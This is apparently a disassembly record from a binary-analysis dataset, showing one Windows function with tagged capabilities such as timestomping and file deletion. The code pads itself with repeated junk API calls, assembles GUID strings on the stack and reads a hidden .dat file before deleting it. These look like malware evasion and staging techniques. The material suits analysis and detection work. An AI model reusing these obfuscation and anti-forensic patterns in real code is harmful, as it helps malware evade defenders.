Function at 0x417c7c
Capabilities:
Allocate thread local storage
Delete directory
Delete file
Get common file path
Get graphical window text
Read file on windows
Resume thread
Set console window title
Set current directory
Set environment variable
Set file attributes
Suspend thread
Timestomp file
Write file on windows

Disassembly:
mov eax, 0x44955a
call fcn.00448b30
sub esp, 0x354
push ebx
push esi
lea eax, [ebp + 8]
xor esi, esi
test eax, eax
push edi
jne 0x41892a
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ebx, dword [sym.imp.MSVCRT.dll_toupper]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x417cdd
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x417cdd
cmp byte [ebp - 0x13], 0x3a
jne 0x417cdd
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x417d1b
call esi
test eax, eax
je 0x417d07
cmp byte [ebp - 0xf], 0x3a
jne 0x417d07
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x417d2f
call esi
test eax, eax
je 0x417d2f
cmp byte [ebp - 0xf], 0x3a
jne 0x417d2f
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x417d49
cmp byte [ebp - 0xf], 0x3a
jne 0x417d49
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x417d75
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x417d75
cmp byte [ebp - 0x13], 0x3a
jne 0x417d75
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x417dad
call esi
test eax, eax
je 0x417d99
cmp byte [ebp - 0xf], 0x3a
jne 0x417d99
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x417dc1
call esi
test eax, eax
je 0x417dc1
cmp byte [ebp - 0xf], 0x3a
jne 0x417dc1
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x417ddb
cmp byte [ebp - 0xf], 0x3a
jne 0x417ddb
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x417e07
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x417e07
cmp byte [ebp - 0x13], 0x3a
jne 0x417e07
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x417e3f
call esi
test eax, eax
je 0x417e2b
cmp byte [ebp - 0xf], 0x3a
jne 0x417e2b
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x417e53
call esi
test eax, eax
je 0x417e53
cmp byte [ebp - 0xf], 0x3a
jne 0x417e53
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x417e6d
cmp byte [ebp - 0xf], 0x3a
jne 0x417e6d
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x417ea7
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x417ea7
cmp byte [ebp - 0x13], 0x3a
jne 0x417ea7
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x417edf
call esi
test eax, eax
je 0x417ecb
cmp byte [ebp - 0xf], 0x3a
jne 0x417ecb
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x417ef3
call esi
test eax, eax
je 0x417ef3
cmp byte [ebp - 0xf], 0x3a
jne 0x417ef3
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x417f0d
cmp byte [ebp - 0xf], 0x3a
jne 0x417f0d
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x417f44
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x417f44
cmp byte [ebp - 0x13], 0x3a
jne 0x417f44
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x417f7c
call esi
test eax, eax
je 0x417f68
cmp byte [ebp - 0xf], 0x3a
jne 0x417f68
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x417f90
call esi
test eax, eax
je 0x417f90
cmp byte [ebp - 0xf], 0x3a
jne 0x417f90
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x417faa
cmp byte [ebp - 0xf], 0x3a
jne 0x417faa
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x417fd8
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x417fd8
cmp byte [ebp - 0x13], 0x3a
jne 0x417fd8
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x418010
call esi
test eax, eax
je 0x417ffc
cmp byte [ebp - 0xf], 0x3a
jne 0x417ffc
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418024
call esi
test eax, eax
je 0x418024
cmp byte [ebp - 0xf], 0x3a
jne 0x418024
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41803e
cmp byte [ebp - 0xf], 0x3a
jne 0x41803e
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418072
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418072
cmp byte [ebp - 0x13], 0x3a
jne 0x418072
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4180aa
call esi
test eax, eax
je 0x418096
cmp byte [ebp - 0xf], 0x3a
jne 0x418096
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4180be
call esi
test eax, eax
je 0x4180be
cmp byte [ebp - 0xf], 0x3a
jne 0x4180be
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4180d8
cmp byte [ebp - 0xf], 0x3a
jne 0x4180d8
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418106
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418106
cmp byte [ebp - 0x13], 0x3a
jne 0x418106
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x41813e
call esi
test eax, eax
je 0x41812a
cmp byte [ebp - 0xf], 0x3a
jne 0x41812a
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418152
call esi
test eax, eax
je 0x418152
cmp byte [ebp - 0xf], 0x3a
jne 0x418152
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41816c
cmp byte [ebp - 0xf], 0x3a
jne 0x41816c
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418198
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418198
cmp byte [ebp - 0x13], 0x3a
jne 0x418198
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4181d0
call esi
test eax, eax
je 0x4181bc
cmp byte [ebp - 0xf], 0x3a
jne 0x4181bc
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4181e4
call esi
test eax, eax
je 0x4181e4
cmp byte [ebp - 0xf], 0x3a
jne 0x4181e4
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4181fe
cmp byte [ebp - 0xf], 0x3a
jne 0x4181fe
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41822c
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41822c
cmp byte [ebp - 0x13], 0x3a
jne 0x41822c
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x418264
call esi
test eax, eax
je 0x418250
cmp byte [ebp - 0xf], 0x3a
jne 0x418250
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418278
call esi
test eax, eax
je 0x418278
cmp byte [ebp - 0xf], 0x3a
jne 0x418278
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418292
cmp byte [ebp - 0xf], 0x3a
jne 0x418292
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4182bc
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4182bc
cmp byte [ebp - 0x13], 0x3a
jne 0x4182bc
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4182f4
call esi
test eax, eax
je 0x4182e0
cmp byte [ebp - 0xf], 0x3a
jne 0x4182e0
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418308
call esi
test eax, eax
je 0x418308
cmp byte [ebp - 0xf], 0x3a
jne 0x418308
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418322
cmp byte [ebp - 0xf], 0x3a
jne 0x418322
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418351
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418351
cmp byte [ebp - 0x13], 0x3a
jne 0x418351
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x418389
call esi
test eax, eax
je 0x418375
cmp byte [ebp - 0xf], 0x3a
jne 0x418375
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x41839d
call esi
test eax, eax
je 0x41839d
cmp byte [ebp - 0xf], 0x3a
jne 0x41839d
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4183b7
cmp byte [ebp - 0xf], 0x3a
jne 0x4183b7
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4183e5
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4183e5
cmp byte [ebp - 0x13], 0x3a
jne 0x4183e5
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x41841d
call esi
test eax, eax
je 0x418409
cmp byte [ebp - 0xf], 0x3a
jne 0x418409
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418431
call esi
test eax, eax
je 0x418431
cmp byte [ebp - 0xf], 0x3a
jne 0x418431
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41844b
cmp byte [ebp - 0xf], 0x3a
jne 0x41844b
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418479
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418479
cmp byte [ebp - 0x13], 0x3a
jne 0x418479
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4184b1
call esi
test eax, eax
je 0x41849d
cmp byte [ebp - 0xf], 0x3a
jne 0x41849d
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4184c5
call esi
test eax, eax
je 0x4184c5
cmp byte [ebp - 0xf], 0x3a
jne 0x4184c5
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4184df
cmp byte [ebp - 0xf], 0x3a
jne 0x4184df
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x41850b
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x41850b
cmp byte [ebp - 0x13], 0x3a
jne 0x41850b
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x418543
call esi
test eax, eax
je 0x41852f
cmp byte [ebp - 0xf], 0x3a
jne 0x41852f
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418557
call esi
test eax, eax
je 0x418557
cmp byte [ebp - 0xf], 0x3a
jne 0x418557
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418571
cmp byte [ebp - 0xf], 0x3a
jne 0x418571
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4185a1
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4185a1
cmp byte [ebp - 0x13], 0x3a
jne 0x4185a1
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4185d9
call esi
test eax, eax
je 0x4185c5
cmp byte [ebp - 0xf], 0x3a
jne 0x4185c5
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4185ed
call esi
test eax, eax
je 0x4185ed
cmp byte [ebp - 0xf], 0x3a
jne 0x4185ed
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418607
cmp byte [ebp - 0xf], 0x3a
jne 0x418607
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418640
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418640
cmp byte [ebp - 0x13], 0x3a
jne 0x418640
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x418678
call esi
test eax, eax
je 0x418664
cmp byte [ebp - 0xf], 0x3a
jne 0x418664
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x41868c
call esi
test eax, eax
je 0x41868c
cmp byte [ebp - 0xf], 0x3a
jne 0x41868c
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4186a6
cmp byte [ebp - 0xf], 0x3a
jne 0x4186a6
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4186d5
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4186d5
cmp byte [ebp - 0x13], 0x3a
jne 0x4186d5
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x41870d
call esi
test eax, eax
je 0x4186f9
cmp byte [ebp - 0xf], 0x3a
jne 0x4186f9
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418721
call esi
test eax, eax
je 0x418721
cmp byte [ebp - 0xf], 0x3a
jne 0x418721
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41873b
cmp byte [ebp - 0xf], 0x3a
jne 0x41873b
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x418767
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x418767
cmp byte [ebp - 0x13], 0x3a
jne 0x418767
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x41879f
call esi
test eax, eax
je 0x41878b
cmp byte [ebp - 0xf], 0x3a
jne 0x41878b
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x4187b3
call esi
test eax, eax
je 0x4187b3
cmp byte [ebp - 0xf], 0x3a
jne 0x4187b3
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x4187cd
cmp byte [ebp - 0xf], 0x3a
jne 0x4187cd
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4187fd
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4187fd
cmp byte [ebp - 0x13], 0x3a
jne 0x4187fd
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x418835
call esi
test eax, eax
je 0x418821
cmp byte [ebp - 0xf], 0x3a
jne 0x418821
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418849
call esi
test eax, eax
je 0x418849
cmp byte [ebp - 0xf], 0x3a
jne 0x418849
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x418863
cmp byte [ebp - 0xf], 0x3a
jne 0x418863
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
lea eax, [ebp + 8]
cmp eax, 0xd5
jne 0x4188c4
lea eax, [ebp - 0x14]
push eax
push 3
call esi
test eax, eax
je 0x4188c4
cmp byte [ebp - 0x13], 0x3a
jne 0x4188c4
movzx eax, byte [ebp - 0x14]
push eax
call ebx
pop ecx
lea eax, [ebp + 8]
cmp eax, 0x4db
lea eax, [ebp - 0x10]
push eax
push 3
jne 0x4188fc
call esi
test eax, eax
je 0x4188e8
cmp byte [ebp - 0xf], 0x3a
jne 0x4188e8
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x42
mov byte [ebp - 0x13], 0x3a
call edi
jmp 0x418910
call esi
test eax, eax
je 0x418910
cmp byte [ebp - 0xf], 0x3a
jne 0x418910
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
lea eax, [ebp - 0x10]
push eax
push 3
call esi
test eax, eax
je 0x41892a
cmp byte [ebp - 0xf], 0x3a
jne 0x41892a
movzx eax, byte [ebp - 0x10]
push eax
call ebx
pop ecx
push 0
push 0x7d
push 0x34
pop edi
push edi
push 0x33
pop eax
push eax
push 0x36
push 0x31
push 0x43
pop ebx
push ebx
push 0x38
push 0x35
push 0x44
push 0x39
push 0x36
push 0x42
push 0x37
push 0x2d
pop esi
push esi
push 0x46
push 0x46
push 0x42
push 0x41
push esi
push 0x66
push 0x36
push edi
push edi
push esi
push 0x32
push 0x38
push edi
push 0x39
push esi
push 0x41
push eax
push 0x46
push eax
push eax
push 0x44
push eax
push 0x38
lea eax, [ebp - 0xf4]
push 0x7b
push eax
call fcn.004105df
add esp, 0xa0
lea eax, [ebp - 0xf4]
push eax
mov eax, dword [0x4513d0]
push 0
push 0x1f0003
call dword [eax + 0x30]
test eax, eax
mov dword [ebp - 0x18], eax
je 0x418aa1
push eax
mov eax, dword [0x4513d0]
call dword [eax + 0x48]
push dword [ebp - 0x18]
mov eax, dword [0x4513d0]
call dword [eax + 0x44]
mov eax, dword [0x4513d0]
push 0xbb8
call dword [eax + 0x3c]
lea eax, [ebp - 0x360]
push eax
mov eax, dword [0x4513d0]
push 0x104
call dword [eax + 0x54]
push 0
push 0x73
push 0x25
push 0x73
lea eax, [ebp - 0x90]
push 0x25
push eax
call fcn.004105df
add esp, 0x18
push 0
push 0x74
push 0x61
push 0x64
push 0x2e
push 0x7d
push ebx
push 0x32
pop eax
push eax
push 0x37
push eax
push ebx
push eax
push 0x45
push ebx
push 0x31
push 0x44
push 0x35
push 0x31
push esi
push 0x30
push 0x31
push ebx
push 0x41
push esi
push 0x65
push 0x64
push 0x63
push edi
push esi
push 0x38
push edi
push 0x45
push 0x45
push esi
push 0x41
push 0x39
push 0x46
push ebx
push edi
push eax
push 0x46
push 0x46
lea eax, [ebp - 0x158]
push 0x7b
push eax
call fcn.004105df
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x25c]
push eax
mov eax, dword [0x4513d0]
call dword [eax + 0x1dc]
add esp, 0xc0
lea eax, [ebp - 0x25c]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
mov eax, dword [0x4513d0]
call dword [eax + 0x50]
mov esi, eax
cmp esi, 0xffffffff
jne 0x418aa5
xor eax, eax
jmp 0x418b00
lea eax, [ebp - 0x1c]
push 0
push eax
lea eax, [ebp - 0x2c]
push 0x10
push eax
mov eax, dword [0x4513d0]
push esi
call dword [eax + 0x4c]
mov eax, dword [0x4513d0]
push esi
call dword [eax + 0x44]
push 0x58
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x18], eax
and dword [ebp - 4], 0
test eax, eax
je 0x418ae3
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.00435e51
jmp 0x418ae5
xor eax, eax
mov ecx, dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
mov dword [ecx], eax
lea eax, [ebp - 0x25c]
push eax
mov eax, dword [0x4513d0]
call dword [eax + 0x40]
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4